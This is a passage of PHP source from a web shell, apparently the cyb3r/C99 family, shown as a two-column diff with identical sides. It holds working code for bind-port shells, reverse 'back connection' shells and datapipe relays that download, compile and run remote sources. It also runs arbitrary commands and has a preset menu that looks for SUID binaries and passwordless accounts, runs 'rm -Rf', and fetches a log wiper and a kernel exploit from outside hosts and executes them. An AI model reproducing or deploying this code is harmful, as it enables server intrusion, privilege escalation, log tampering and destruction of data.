| 5438 | $v = $bndportsrcs[$bind["src"]]; | 5438 | $v = $bndportsrcs[$bind["src"]]; |
| 5439 | 5439 | ||
| 5440 | if (empty($v)) {echo "Unknown file!<br>";} | 5440 | if (empty($v)) {echo "Unknown file!<br>";} |
| 5441 | 5441 | ||
| 5442 | elseif (fsockopen(getenv("SERVER_ADDR"),$bind["port"],$errno,$errstr,0.1)) {echo "Port alredy in use, select any other!<br>";} | 5442 | elseif (fsockopen(getenv("SERVER_ADDR"),$bind["port"],$errno,$errstr,0.1)) {echo "Port alredy in use, select any other!<br>";} |
| 5443 | 5443 | ||
| 5444 | else | 5444 | else |
| 5445 | 5445 | ||
| 5446 | { | 5446 | { |
| 5447 | 5447 | ||
| 5448 | $w = explode(".",$bind["src"]); | 5448 | $w = explode(".",$bind["src"]); |
| 5449 | 5449 | ||
| 5450 | $ext = $w[count($w)-1]; | 5450 | $ext = $w[count($w)-1]; |
| 5451 | 5451 | ||
| 5452 | unset($w[count($w)-1]); | 5452 | unset($w[count($w)-1]); |
| 5453 | 5453 | ||
| 5454 | $srcpath = join(".",$w).".".rand(0,999).".".$ext; | 5454 | $srcpath = join(".",$w).".".rand(0,999).".".$ext; |
| 5455 | 5455 | ||
| 5456 | $binpath = $tmpdir.join(".",$w).rand(0,999); | 5456 | $binpath = $tmpdir.join(".",$w).rand(0,999); |
| 5457 | 5457 | ||
| 5458 | if ($ext == "pl") {$binpath = $srcpath;} | 5458 | if ($ext == "pl") {$binpath = $srcpath;} |
| 5459 | 5459 | ||
| 5460 | @unlink($srcpath); | 5460 | @unlink($srcpath); |
| 5461 | 5461 | ||
| 5462 | $fp = fopen($srcpath,"ab+"); | 5462 | $fp = fopen($srcpath,"ab+"); |
| 5463 | 5463 | ||
| 5464 | if (!$fp) {echo "Can't write sources to \"".$srcpath."\"!<br>";} | 5464 | if (!$fp) {echo "Can't write sources to \"".$srcpath."\"!<br>";} |
| 5465 | 5465 | ||
| 5466 | elseif (!$data = cyb3rgetsource($bind["src"])) {echo "Can't download sources!";} | 5466 | elseif (!$data = cyb3rgetsource($bind["src"])) {echo "Can't download sources!";} |
| 5467 | 5467 | ||
| 5468 | else | 5468 | else |
| 5469 | 5469 | ||
| 5470 | { | 5470 | { |
| 5471 | 5471 | ||
| 5472 | fwrite($fp,$data,strlen($data)); | 5472 | fwrite($fp,$data,strlen($data)); |
| 5473 | 5473 | ||
| 5474 | fclose($fp); | 5474 | fclose($fp); |
| 5475 | 5475 | ||
| 5476 | if ($ext == "c") {$retgcc = myshellexec("gcc -o ".$binpath." ".$srcpath); @unlink($srcpath);} | 5476 | if ($ext == "c") {$retgcc = myshellexec("gcc -o ".$binpath." ".$srcpath); @unlink($srcpath);} |
| 5477 | 5477 | ||
| 5478 | $v[1] = str_replace("%path",$binpath,$v[1]); | 5478 | $v[1] = str_replace("%path",$binpath,$v[1]); |
| 5479 | 5479 | ||
| 5480 | $v[1] = str_replace("%port",$bind["port"],$v[1]); | 5480 | $v[1] = str_replace("%port",$bind["port"],$v[1]); |
| 5481 | 5481 | ||
| 5482 | $v[1] = str_replace("%pass",$bind["pass"],$v[1]); | 5482 | $v[1] = str_replace("%pass",$bind["pass"],$v[1]); |
| 5483 | 5483 | ||
| 5484 | $v[1] = str_replace("//","/",$v[1]); | 5484 | $v[1] = str_replace("//","/",$v[1]); |
| 5485 | 5485 | ||
| 5486 | $retbind = myshellexec($v[1]." > /dev/null &"); | 5486 | $retbind = myshellexec($v[1]." > /dev/null &"); |
| 5487 | 5487 | ||
| 5488 | sleep(5); | 5488 | sleep(5); |
| 5489 | 5489 | ||
| 5490 | $sock = fsockopen("localhost",$bind["port"],$errno,$errstr,5); | 5490 | $sock = fsockopen("localhost",$bind["port"],$errno,$errstr,5); |
| 5491 | 5491 | ||
| 5492 | if (!$sock) {echo "I can't connect to localhost:".$bind["port"]."! I think you should configure your firewall.";} | 5492 | if (!$sock) {echo "I can't connect to localhost:".$bind["port"]."! I think you should configure your firewall.";} |
| 5493 | 5493 | ||
| 5494 | else {echo "Binding... ok! Connect to <b>".getenv("SERVER_ADDR").":".$bind["port"]."</b>! You should use NetCat©, run \"<b>nc -v ".getenv("SERVER_ADDR")." ".$bind["port"]."</b>\"!<center><a href=\"".$surl."act=processes&grep=".basename($binpath)."\"><u>View binder's process</u></a></center>";} | 5494 | else {echo "Binding... ok! Connect to <b>".getenv("SERVER_ADDR").":".$bind["port"]."</b>! You should use NetCat©, run \"<b>nc -v ".getenv("SERVER_ADDR")." ".$bind["port"]."</b>\"!<center><a href=\"".$surl."act=processes&grep=".basename($binpath)."\"><u>View binder's process</u></a></center>";} |
| 5495 | 5495 | ||
| 5496 | } | 5496 | } |
| 5497 | 5497 | ||
| 5498 | echo "<br>"; | 5498 | echo "<br>"; |
| 5499 | 5499 | ||
| 5500 | } | 5500 | } |
| 5501 | 5501 | ||
| 5502 | } | 5502 | } |
| 5503 | 5503 | ||
| 5504 | if (!empty($bcsubmit)) | 5504 | if (!empty($bcsubmit)) |
| 5505 | 5505 | ||
| 5506 | { | 5506 | { |
| 5507 | 5507 | ||
| 5508 | echo "<b>Result of back connection:</b><br>"; | 5508 | echo "<b>Result of back connection:</b><br>"; |
| 5509 | 5509 | ||
| 5510 | $v = $bcsrcs[$bc["src"]]; | 5510 | $v = $bcsrcs[$bc["src"]]; |
| 5511 | 5511 | ||
| 5512 | if (empty($v)) {echo "Unknown file!<br>";} | 5512 | if (empty($v)) {echo "Unknown file!<br>";} |
| 5513 | 5513 | ||
| 5514 | else | 5514 | else |
| 5515 | 5515 | ||
| 5516 | { | 5516 | { |
| 5517 | 5517 | ||
| 5518 | $w = explode(".",$bc["src"]); | 5518 | $w = explode(".",$bc["src"]); |
| 5519 | 5519 | ||
| 5520 | $ext = $w[count($w)-1]; | 5520 | $ext = $w[count($w)-1]; |
| 5521 | 5521 | ||
| 5522 | unset($w[count($w)-1]); | 5522 | unset($w[count($w)-1]); |
| 5523 | 5523 | ||
| 5524 | $srcpath = join(".",$w).".".rand(0,999).".".$ext; | 5524 | $srcpath = join(".",$w).".".rand(0,999).".".$ext; |
| 5525 | 5525 | ||
| 5526 | $binpath = $tmpdir.join(".",$w).rand(0,999); | 5526 | $binpath = $tmpdir.join(".",$w).rand(0,999); |
| 5527 | 5527 | ||
| 5528 | if ($ext == "pl") {$binpath = $srcpath;} | 5528 | if ($ext == "pl") {$binpath = $srcpath;} |
| 5529 | 5529 | ||
| 5530 | @unlink($srcpath); | 5530 | @unlink($srcpath); |
| 5531 | 5531 | ||
| 5532 | $fp = fopen($srcpath,"ab+"); | 5532 | $fp = fopen($srcpath,"ab+"); |
| 5533 | 5533 | ||
| 5534 | if (!$fp) {echo "Can't write sources to \"".$srcpath."\"!<br>";} | 5534 | if (!$fp) {echo "Can't write sources to \"".$srcpath."\"!<br>";} |
| 5535 | 5535 | ||
| 5536 | elseif (!$data = cyb3rgetsource($bc["src"])) {echo "Can't download sources!";} | 5536 | elseif (!$data = cyb3rgetsource($bc["src"])) {echo "Can't download sources!";} |
| 5537 | 5537 | ||
| 5538 | else | 5538 | else |
| 5539 | 5539 | ||
| 5540 | { | 5540 | { |
| 5541 | 5541 | ||
| 5542 | fwrite($fp,$data,strlen($data)); | 5542 | fwrite($fp,$data,strlen($data)); |
| 5543 | 5543 | ||
| 5544 | fclose($fp); | 5544 | fclose($fp); |
| 5545 | 5545 | ||
| 5546 | if ($ext == "c") {$retgcc = myshellexec("gcc -o ".$binpath." ".$srcpath); @unlink($srcpath);} | 5546 | if ($ext == "c") {$retgcc = myshellexec("gcc -o ".$binpath." ".$srcpath); @unlink($srcpath);} |
| 5547 | 5547 | ||
| 5548 | $v[1] = str_replace("%path",$binpath,$v[1]); | 5548 | $v[1] = str_replace("%path",$binpath,$v[1]); |
| 5549 | 5549 | ||
| 5550 | $v[1] = str_replace("%host",$bc["host"],$v[1]); | 5550 | $v[1] = str_replace("%host",$bc["host"],$v[1]); |
| 5551 | 5551 | ||
| 5552 | $v[1] = str_replace("%port",$bc["port"],$v[1]); | 5552 | $v[1] = str_replace("%port",$bc["port"],$v[1]); |
| 5553 | 5553 | ||
| 5554 | $v[1] = str_replace("//","/",$v[1]); | 5554 | $v[1] = str_replace("//","/",$v[1]); |
| 5555 | 5555 | ||
| 5556 | $retbind = myshellexec($v[1]." > /dev/null &"); | 5556 | $retbind = myshellexec($v[1]." > /dev/null &"); |
| 5557 | 5557 | ||
| 5558 | echo "Now script try connect to ".htmlspecialchars($bc["host"]).":".htmlspecialchars($bc["port"])."...<br>"; | 5558 | echo "Now script try connect to ".htmlspecialchars($bc["host"]).":".htmlspecialchars($bc["port"])."...<br>"; |
| 5559 | 5559 | ||
| 5560 | } | 5560 | } |
| 5561 | 5561 | ||
| 5562 | } | 5562 | } |
| 5563 | 5563 | ||
| 5564 | } | 5564 | } |
| 5565 | 5565 | ||
| 5566 | if (!empty($dpsubmit)) | 5566 | if (!empty($dpsubmit)) |
| 5567 | 5567 | ||
| 5568 | { | 5568 | { |
| 5569 | 5569 | ||
| 5570 | echo "<b>Result of datapipe-running:</b><br>"; | 5570 | echo "<b>Result of datapipe-running:</b><br>"; |
| 5571 | 5571 | ||
| 5572 | $v = $dpsrcs[$datapipe["src"]]; | 5572 | $v = $dpsrcs[$datapipe["src"]]; |
| 5573 | 5573 | ||
| 5574 | if (empty($v)) {echo "Unknown file!<br>";} | 5574 | if (empty($v)) {echo "Unknown file!<br>";} |
| 5575 | 5575 | ||
| 5576 | elseif (fsockopen(getenv("SERVER_ADDR"),$datapipe["port"],$errno,$errstr,0.1)) {echo "Port alredy in use, select any other!<br>";} | 5576 | elseif (fsockopen(getenv("SERVER_ADDR"),$datapipe["port"],$errno,$errstr,0.1)) {echo "Port alredy in use, select any other!<br>";} |
| 5577 | 5577 | ||
| 5578 | else | 5578 | else |
| 5579 | 5579 | ||
| 5580 | { | 5580 | { |
| 5581 | 5581 | ||
| 5582 | $srcpath = $tmpdir.$datapipe["src"]; | 5582 | $srcpath = $tmpdir.$datapipe["src"]; |
| 5583 | 5583 | ||
| 5584 | $w = explode(".",$datapipe["src"]); | 5584 | $w = explode(".",$datapipe["src"]); |
| 5585 | 5585 | ||
| 5586 | $ext = $w[count($w)-1]; | 5586 | $ext = $w[count($w)-1]; |
| 5587 | 5587 | ||
| 5588 | unset($w[count($w)-1]); | 5588 | unset($w[count($w)-1]); |
| 5589 | 5589 | ||
| 5590 | $srcpath = join(".",$w).".".rand(0,999).".".$ext; | 5590 | $srcpath = join(".",$w).".".rand(0,999).".".$ext; |
| 5591 | 5591 | ||
| 5592 | $binpath = $tmpdir.join(".",$w).rand(0,999); | 5592 | $binpath = $tmpdir.join(".",$w).rand(0,999); |
| 5593 | 5593 | ||
| 5594 | if ($ext == "pl") {$binpath = $srcpath;} | 5594 | if ($ext == "pl") {$binpath = $srcpath;} |
| 5595 | 5595 | ||
| 5596 | @unlink($srcpath); | 5596 | @unlink($srcpath); |
| 5597 | 5597 | ||
| 5598 | $fp = fopen($srcpath,"ab+"); | 5598 | $fp = fopen($srcpath,"ab+"); |
| 5599 | 5599 | ||
| 5600 | if (!$fp) {echo "Can't write sources to \"".$srcpath."\"!<br>";} | 5600 | if (!$fp) {echo "Can't write sources to \"".$srcpath."\"!<br>";} |
| 5601 | 5601 | ||
| 5602 | elseif (!$data = cyb3rgetsource($datapipe["src"])) {echo "Can't download sources!";} | 5602 | elseif (!$data = cyb3rgetsource($datapipe["src"])) {echo "Can't download sources!";} |
| 5603 | 5603 | ||
| 5604 | else | 5604 | else |
| 5605 | 5605 | ||
| 5606 | { | 5606 | { |
| 5607 | 5607 | ||
| 5608 | fwrite($fp,$data,strlen($data)); | 5608 | fwrite($fp,$data,strlen($data)); |
| 5609 | 5609 | ||
| 5610 | fclose($fp); | 5610 | fclose($fp); |
| 5611 | 5611 | ||
| 5612 | if ($ext == "c") {$retgcc = myshellexec("gcc -o ".$binpath." ".$srcpath); @unlink($srcpath);} | 5612 | if ($ext == "c") {$retgcc = myshellexec("gcc -o ".$binpath." ".$srcpath); @unlink($srcpath);} |
| 5613 | 5613 | ||
| 5614 | list($datapipe["remotehost"],$datapipe["remoteport"]) = explode(":",$datapipe["remoteaddr"]); | 5614 | list($datapipe["remotehost"],$datapipe["remoteport"]) = explode(":",$datapipe["remoteaddr"]); |
| 5615 | 5615 | ||
| 5616 | $v[1] = str_replace("%path",$binpath,$v[1]); | 5616 | $v[1] = str_replace("%path",$binpath,$v[1]); |
| 5617 | 5617 | ||
| 5618 | $v[1] = str_replace("%localport",$datapipe["localport"],$v[1]); | 5618 | $v[1] = str_replace("%localport",$datapipe["localport"],$v[1]); |
| 5619 | 5619 | ||
| 5620 | $v[1] = str_replace("%remotehost",$datapipe["remotehost"],$v[1]); | 5620 | $v[1] = str_replace("%remotehost",$datapipe["remotehost"],$v[1]); |
| 5621 | 5621 | ||
| 5622 | $v[1] = str_replace("%remoteport",$datapipe["remoteport"],$v[1]); | 5622 | $v[1] = str_replace("%remoteport",$datapipe["remoteport"],$v[1]); |
| 5623 | 5623 | ||
| 5624 | $v[1] = str_replace("//","/",$v[1]); | 5624 | $v[1] = str_replace("//","/",$v[1]); |
| 5625 | 5625 | ||
| 5626 | $retbind = myshellexec($v[1]." > /dev/null &"); | 5626 | $retbind = myshellexec($v[1]." > /dev/null &"); |
| 5627 | 5627 | ||
| 5628 | sleep(5); | 5628 | sleep(5); |
| 5629 | 5629 | ||
| 5630 | $sock = fsockopen("localhost",$datapipe["port"],$errno,$errstr,5); | 5630 | $sock = fsockopen("localhost",$datapipe["port"],$errno,$errstr,5); |
| 5631 | 5631 | ||
| 5632 | if (!$sock) {echo "I can't connect to localhost:".$datapipe["localport"]."! I think you should configure your firewall.";} | 5632 | if (!$sock) {echo "I can't connect to localhost:".$datapipe["localport"]."! I think you should configure your firewall.";} |
| 5633 | 5633 | ||
| 5634 | else {echo "Running datapipe... ok! Connect to <b>".getenv("SERVER_ADDR").":".$datapipe["port"].", and you will connected to ".$datapipe["remoteaddr"]."</b>! You should use NetCat©, run \"<b>nc -v ".getenv("SERVER_ADDR")." ".$bind["port"]."</b>\"!<center><a href=\"".$surl."act=processes&grep=".basename($binpath)."\"><u>View datapipe process</u></a></center>";} | 5634 | else {echo "Running datapipe... ok! Connect to <b>".getenv("SERVER_ADDR").":".$datapipe["port"].", and you will connected to ".$datapipe["remoteaddr"]."</b>! You should use NetCat©, run \"<b>nc -v ".getenv("SERVER_ADDR")." ".$bind["port"]."</b>\"!<center><a href=\"".$surl."act=processes&grep=".basename($binpath)."\"><u>View datapipe process</u></a></center>";} |
| 5635 | 5635 | ||
| 5636 | } | 5636 | } |
| 5637 | 5637 | ||
| 5638 | echo "<br>"; | 5638 | echo "<br>"; |
| 5639 | 5639 | ||
| 5640 | } | 5640 | } |
| 5641 | 5641 | ||
| 5642 | } | 5642 | } |
| 5643 | 5643 | ||
| 5644 | ?><b>Binding port:</b><br><form action="<?php echo $surl; ?>"><input type=hidden name=act value=shells><input type=hidden name=d value="<?php echo $d; ?>">Port: <input type=text name="bind[port]" value="<?php echo htmlspecialchars($bind["port"]); ?>"> Password: <input type=text name="bind[pass]" value="<?php echo htmlspecialchars($bind["pass"]); ?>"> <select name="bind[src]"><?php | 5644 | ?><b>Binding port:</b><br><form action="<?php echo $surl; ?>"><input type=hidden name=act value=shells><input type=hidden name=d value="<?php echo $d; ?>">Port: <input type=text name="bind[port]" value="<?php echo htmlspecialchars($bind["port"]); ?>"> Password: <input type=text name="bind[pass]" value="<?php echo htmlspecialchars($bind["pass"]); ?>"> <select name="bind[src]"><?php |
| 5645 | 5645 | ||
| 5646 | foreach($bndportsrcs as $k=>$v) {echo "<option value=\"".$k."\""; if ($k == $bind["src"]) {echo " selected";} echo ">".$v[0]."</option>";} | 5646 | foreach($bndportsrcs as $k=>$v) {echo "<option value=\"".$k."\""; if ($k == $bind["src"]) {echo " selected";} echo ">".$v[0]."</option>";} |
| 5647 | 5647 | ||
| 5648 | ?></select> <input type=submit name=bindsubmit value="Bind"></form> | 5648 | ?></select> <input type=submit name=bindsubmit value="Bind"></form> |
| 5649 | 5649 | ||
| 5650 | <b>Back connection:</b><br><form action="<?php echo $surl; ?>"><input type=hidden name=act value=tools><input type=hidden name=d value="<?php echo $d; ?>">HOST: <input type=text name="bc[host]" value="<?php echo htmlspecialchars($bc["host"]); ?>"> Port: <input type=text name="bc[port]" value="<?php echo htmlspecialchars($bc["port"]); ?>"> <select name="bc[src]"><?php | 5650 | <b>Back connection:</b><br><form action="<?php echo $surl; ?>"><input type=hidden name=act value=tools><input type=hidden name=d value="<?php echo $d; ?>">HOST: <input type=text name="bc[host]" value="<?php echo htmlspecialchars($bc["host"]); ?>"> Port: <input type=text name="bc[port]" value="<?php echo htmlspecialchars($bc["port"]); ?>"> <select name="bc[src]"><?php |
| 5651 | 5651 | ||
| 5652 | foreach($bcsrcs as $k=>$v) {echo "<option value=\"".$k."\""; if ($k == $bc["src"]) {echo " selected";} echo ">".$v[0]."</option>";} | 5652 | foreach($bcsrcs as $k=>$v) {echo "<option value=\"".$k."\""; if ($k == $bc["src"]) {echo " selected";} echo ">".$v[0]."</option>";} |
| 5653 | 5653 | ||
| 5654 | ?></select> <input type=submit name=bcsubmit value="Connect"></form> | 5654 | ?></select> <input type=submit name=bcsubmit value="Connect"></form> |
| 5655 | 5655 | ||
| 5656 | Click "Connect" only after open port for it. You should use NetCat©, run "<b>nc -l -n -v -p <?php echo $bc_port; ?></b>"!<br><br> | 5656 | Click "Connect" only after open port for it. You should use NetCat©, run "<b>nc -l -n -v -p <?php echo $bc_port; ?></b>"!<br><br> |
| 5657 | 5657 | ||
| 5658 | <b>Datapipe:</b><br> | 5658 | <b>Datapipe:</b><br> |
| 5659 | <form action="<?php echo $surl; ?>"> | 5659 | <form action="<?php echo $surl; ?>"> |
| 5660 | <input type=hidden name=act value=shells><input type=hidden name=d value="<?php echo $d; ?>">HOST: <input type=text name="datapipe[remoteaddr]" value="<?php echo htmlspecialchars($datapipe["remoteaddr"]); ?>"> Local port: <input type=text name="datapipe[localport]" value="<?php echo htmlspecialchars($datapipe["localport"]); ?>"> <select name="datapipe[src]"><?php | 5660 | <input type=hidden name=act value=shells><input type=hidden name=d value="<?php echo $d; ?>">HOST: <input type=text name="datapipe[remoteaddr]" value="<?php echo htmlspecialchars($datapipe["remoteaddr"]); ?>"> Local port: <input type=text name="datapipe[localport]" value="<?php echo htmlspecialchars($datapipe["localport"]); ?>"> <select name="datapipe[src]"><?php |
| 5661 | 5661 | ||
| 5662 | foreach($dpsrcs as $k=>$v) {echo "<option value=\"".$k."\""; if ($k == $bc["src"]) {echo " selected";} echo ">".$v[0]."</option>";} | 5662 | foreach($dpsrcs as $k=>$v) {echo "<option value=\"".$k."\""; if ($k == $bc["src"]) {echo " selected";} echo ">".$v[0]."</option>";} |
| 5663 | 5663 | ||
| 5664 | ?></select> <input type=submit name=dpsubmit value="Run"></form><b>Note:</b> sources will be downloaded from remote server. | 5664 | ?></select> <input type=submit name=dpsubmit value="Run"></form><b>Note:</b> sources will be downloaded from remote server. |
| 5665 | 5665 | ||
| 5666 | 5666 | ||
| 5667 | 5667 | ||
| 5668 | 5668 | ||
| 5669 | </center></td> | 5669 | </center></td> |
| 5670 | 5670 | ||
| 5671 | <td ><center> | 5671 | <td ><center> |
| 5672 | <p align="center"><b>[: <a href="<?php echo $surl; ?>act=cmd&d=<?php echo urlencode($d); ?>"><b>Enter Command to Execute:</b></a> :]</b> | 5672 | <p align="center"><b>[: <a href="<?php echo $surl; ?>act=cmd&d=<?php echo urlencode($d); ?>"><b>Enter Command to Execute:</b></a> :]</b> |
| 5673 | 5673 | ||
| 5674 | <form action="<?php echo $surl; ?>"><input type=hidden name=act value="cmd"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type="text" name="cmd" size="50" value="<?php echo htmlspecialchars($cmd); ?>"><input type=hidden name="cmd_txt" value="1"> <input type=submit name=submit value="Execute"></form></p><br> | 5674 | <form action="<?php echo $surl; ?>"><input type=hidden name=act value="cmd"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type="text" name="cmd" size="50" value="<?php echo htmlspecialchars($cmd); ?>"><input type=hidden name="cmd_txt" value="1"> <input type=submit name=submit value="Execute"></form></p><br> |
| 5675 | <div align="center">Useful Commands </div> | 5675 | <div align="center">Useful Commands </div> |
| 5676 | 5676 | ||
| 5677 | 5677 | ||
| 5678 | <form action="<?php echo $surl; ?>"> | 5678 | <form action="<?php echo $surl; ?>"> |
| 5679 | 5679 | ||
| 5680 | <div align="center"> | 5680 | <div align="center"> |
| 5681 | 5681 | ||
| 5682 | <input type=hidden name=act value="cmd"> | 5682 | <input type=hidden name=act value="cmd"> |
| 5683 | 5683 | ||
| 5684 | <input type=hidden name="d" value="<?php echo $dispd; ?>"> | 5684 | <input type=hidden name="d" value="<?php echo $dispd; ?>"> |
| 5685 | 5685 | ||
| 5686 | <SELECT NAME="cmd"> | 5686 | <SELECT NAME="cmd"> |
| 5687 | 5687 | ||
| 5688 | <OPTION VALUE="uname -a">Kernel version</option> | 5688 | <OPTION VALUE="uname -a">Kernel version</option> |
| 5689 | 5689 | ||
| 5690 | <OPTION VALUE="w">Logged in users</option> | 5690 | <OPTION VALUE="w">Logged in users</option> |
| 5691 | 5691 | ||
| 5692 | <OPTION VALUE="lastlog">Last to connect</option> | 5692 | <OPTION VALUE="lastlog">Last to connect</option> |
| 5693 | 5693 | ||
| 5694 | <OPTION VALUE="find /bin /usr/bin /usr/local/bin /sbin /usr/sbin /usr/local/sbin -perm -4000 2> /dev/null">Suid bins</option> | 5694 | <OPTION VALUE="find /bin /usr/bin /usr/local/bin /sbin /usr/sbin /usr/local/sbin -perm -4000 2> /dev/null">Suid bins</option> |
| 5695 | 5695 | ||
| 5696 | <OPTION VALUE="cut -d: -f1,2,3 /etc/passwd | grep ::">USER WITHOUT PASSWORD!</option> | 5696 | <OPTION VALUE="cut -d: -f1,2,3 /etc/passwd | grep ::">USER WITHOUT PASSWORD!</option> |
| 5697 | 5697 | ||
| 5698 | <OPTION VALUE="find /etc/ -type f -perm -o+w 2> /dev/null">Write in /etc/?</option> | 5698 | <OPTION VALUE="find /etc/ -type f -perm -o+w 2> /dev/null">Write in /etc/?</option> |
| 5699 | 5699 | ||
| 5700 | <OPTION VALUE="which wget curl w3m lynx">Downloaders?</option> | 5700 | <OPTION VALUE="which wget curl w3m lynx">Downloaders?</option> |
| 5701 | 5701 | ||
| 5702 | <OPTION VALUE="cat /proc/version /proc/cpuinfo">CPUINFO</option> | 5702 | <OPTION VALUE="cat /proc/version /proc/cpuinfo">CPUINFO</option> |
| 5703 | 5703 | ||
| 5704 | <OPTION VALUE="netstat -atup | grep IST">Open ports</option> | 5704 | <OPTION VALUE="netstat -atup | grep IST">Open ports</option> |
| 5705 | 5705 | ||
| 5706 | <OPTION VALUE="locate gcc">gcc installed?</option> | 5706 | <OPTION VALUE="locate gcc">gcc installed?</option> |
| 5707 | 5707 | ||
| 5708 | <OPTION VALUE="rm -Rf">Format box (DANGEROUS)</option> | 5708 | <OPTION VALUE="rm -Rf">Format box (DANGEROUS)</option> |
| 5709 | 5709 | ||
| 5710 | <OPTION VALUE="wget http://www.packetstormsecurity.org/UNIX/penetration/log-wipers/zap2.c">WIPELOGS PT1 (If wget installed)</option> | 5710 | <OPTION VALUE="wget http://www.packetstormsecurity.org/UNIX/penetration/log-wipers/zap2.c">WIPELOGS PT1 (If wget installed)</option> |
| 5711 | 5711 | ||
| 5712 | <OPTION VALUE="gcc zap2.c -o zap2">WIPELOGS PT2</option> | 5712 | <OPTION VALUE="gcc zap2.c -o zap2">WIPELOGS PT2</option> |
| 5713 | 5713 | ||
| 5714 | <OPTION VALUE="./zap2">WIPELOGS PT3</option> | 5714 | <OPTION VALUE="./zap2">WIPELOGS PT3</option> |
| 5715 | 5715 | ||
| 5716 | <OPTION VALUE="wget http://ftp.powernet.com.tr/supermail/debug/k3">Kernel attack (Krad.c) PT1 (If wget installed)</option> | 5716 | <OPTION VALUE="wget http://ftp.powernet.com.tr/supermail/debug/k3">Kernel attack (Krad.c) PT1 (If wget installed)</option> |
| 5717 | 5717 | ||
| 5718 | <OPTION VALUE="./k3 1">Kernel attack (Krad.c) PT2 (L1)</option> | 5718 | <OPTION VALUE="./k3 1">Kernel attack (Krad.c) PT2 (L1)</option> |
| 5719 | 5719 | ||
| 5720 | <OPTION VALUE="./k3 2">Kernel attack (Krad.c) PT2 (L2)</option> | 5720 | <OPTION VALUE="./k3 2">Kernel attack (Krad.c) PT2 (L2)</option> |
| 5721 | 5721 | ||
| 5722 | <OPTION VALUE="./k3 3">Kernel attack (Krad.c) PT2 (L3)</option> | 5722 | <OPTION VALUE="./k3 3">Kernel attack (Krad.c) PT2 (L3)</option> |
| 5723 | 5723 | ||
| 5724 | <OPTION VALUE="./k3 4">Kernel attack (Krad.c) PT2 (L4)</option> | 5724 | <OPTION VALUE="./k3 4">Kernel attack (Krad.c) PT2 (L4)</option> |
| 5725 | 5725 | ||
| 5726 | <OPTION VALUE="./k3 5">Kernel attack (Krad.c) PT2 (L5)</option> | 5726 | <OPTION VALUE="./k3 5">Kernel attack (Krad.c) PT2 (L5)</option> |
| 5727 | 5727 | ||
| 5728 | </SELECT> | 5728 | </SELECT> |
| 5729 | 5729 | ||
| 5730 | <input type=hidden name="cmd_txt" value="1"> | 5730 | <input type=hidden name="cmd_txt" value="1"> |
| 5731 | 5731 | ||
| 5732 | | 5732 | |
| 5733 | 5733 | ||
| 5734 | <input type=submit name=submit value="Execute"> | 5734 | <input type=submit name=submit value="Execute"> |
| 5735 | 5735 | ||
| 5736 | <br> | 5736 | <br> |
| 5737 | 5737 | ||
| 5738 | Warning. Kernel may be alerted using higher levels </div> | 5738 | Warning. Kernel may be alerted using higher levels </div> |
| 5739 | 5739 | ||
| 5740 | </form> | 5740 | </form> |
| 5741 | 5741 | ||
| 5742 | </center> | 5742 | </center> |
| 5743 | </td> | 5743 | </td> |
| 5744 | 5744 | ||
| 5745 | </tr> | 5745 | </tr> |
| 5746 | 5746 | ||
| 5747 | </table><?php | 5747 | </table><?php |
| 5748 | 5748 | ||
| 5749 | } | 5749 | } |
| 5750 | 5750 | ||
| 5751 | if ($act == "cmd") | 5751 | if ($act == "cmd") |
| 5752 | 5752 | ||
| 5753 | { | 5753 | { |
| 5754 | 5754 | ||
| 5755 | if (trim($cmd) == "ps -aux") {$act = "processes";} | 5755 | if (trim($cmd) == "ps -aux") {$act = "processes";} |
| 5756 | 5756 | ||
| 5757 | elseif (trim($cmd) == "tasklist") {$act = "processes";} | 5757 | elseif (trim($cmd) == "tasklist") {$act = "processes";} |
| 5758 | 5758 | ||
| 5759 | else | 5759 | else |
| 5760 | 5760 | ||
| 5761 | { | 5761 | { |
| 5762 | 5762 | ||
| 5763 | @chdir($chdir); | 5763 | @chdir($chdir); |
| 5764 | 5764 | ||
| 5765 | if (!empty($submit)) | 5765 | if (!empty($submit)) |
| 5766 | 5766 | ||
| 5767 | { | 5767 | { |
| 5768 | 5768 | ||
| 5769 | echo "<b>Result of execution this command</b>:<br>"; | 5769 | echo "<b>Result of execution this command</b>:<br>"; |
| 5770 | 5770 | ||
| 5771 | $olddir = realpath("."); | 5771 | $olddir = realpath("."); |
| 5772 | 5772 | ||
| 5773 | @chdir($d); | 5773 | @chdir($d); |
| 5774 | 5774 | ||
| 5775 | $ret = myshellexec($cmd); | 5775 | $ret = myshellexec($cmd); |
| 5776 | 5776 | ||
| 5777 | $ret = convert_cyr_string($ret,"d","w"); | 5777 | $ret = convert_cyr_string($ret,"d","w"); |
| 5778 | 5778 | ||
| 5779 | if ($cmd_txt) | 5779 | if ($cmd_txt) |
| 5780 | 5780 | ||
| 5781 | { | 5781 | { |
| 5782 | 5782 | ||
| 5783 | $rows = count(explode("\r\n",$ret))+1; | 5783 | $rows = count(explode("\r\n",$ret))+1; |
| 5784 | 5784 | ||
| 5785 | if ($rows < 10) {$rows = 10;} | 5785 | if ($rows < 10) {$rows = 10;} |
| 5786 | 5786 | ||
| 5787 | echo "<br><textarea cols=\"122\" rows=\"".$rows."\" readonly>".htmlspecialchars($ret)."</textarea>"; | 5787 | echo "<br><textarea cols=\"122\" rows=\"".$rows."\" readonly>".htmlspecialchars($ret)."</textarea>"; |
| 5788 | 5788 | ||
| 5789 | } | 5789 | } |
| 5790 | 5790 | ||
| 5791 | else {echo $ret."<br>";} | 5791 | else {echo $ret."<br>";} |
| 5792 | 5792 | ||
| 5793 | @chdir($olddir); | 5793 | @chdir($olddir); |
| 5794 | 5794 | ||
| 5795 | } | 5795 | } |
| 5796 | 5796 | ||
| 5797 | else {echo "<b>Execution command</b>"; if (empty($cmd_txt)) {$cmd_txt = TRUE;}} | 5797 | else {echo "<b>Execution command</b>"; if (empty($cmd_txt)) {$cmd_txt = TRUE;}} |
| 5798 | 5798 | ||
